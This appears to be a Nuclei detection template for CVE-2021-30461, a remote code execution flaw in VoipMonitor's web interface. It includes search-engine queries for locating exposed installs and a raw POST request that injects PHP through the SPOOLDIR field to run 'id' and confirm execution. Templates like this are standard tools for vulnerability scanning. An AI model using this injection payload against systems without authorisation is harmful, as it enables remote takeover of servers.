id: CVE-2021-30461

info:
  name: VoipMonitor <24.61 - Remote Code Execution
  author: shifacyclewala,hackergautam
  severity: critical
  description: |
    VoipMonitor prior to 24.61 is susceptible to remote code execution vulnerabilities because of its use of user supplied data via its web interface, allowing  remote unauthenticated users to trigger a remote PHP code execution vulnerability.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: |
    Upgrade VoipMonitor to version 24.61 or later to mitigate this vulnerability.
  reference:
    - https://ssd-disclosure.com/ssd-advisory-voipmonitor-unauth-rce/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-30461
    - https://ssd-disclosure.com/ssd-advisory--voipmonitor-unauth-rce
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/openx-org/BLEN
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-30461
    cwe-id: CWE-94
    epss-score: 0.95518
    epss-percentile: 0.99386
    cpe: cpe:2.3:a:voipmonitor:voipmonitor:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: voipmonitor
    product: voipmonitor
    shodan-query:
      - http.title:"VoIPmonitor"
      - http.title:"voipmonitor"
    fofa-query: title="voipmonitor"
    google-query: intitle:"voipmonitor"
  tags: cve2021,cve,rce,voipmonitor

http:
  - raw:
      - |
        POST /index.php HTTP/1.1
        Host: {{Hostname}}
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
        Content-Type: application/x-www-form-urlencoded

        SPOOLDIR=test".system(id)."&recheck=Recheck

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "uid="
          - "gid="
          - "groups="
          - "VoIPmonitor installation"
        condition: and

      - type: status
        status:
          - 200
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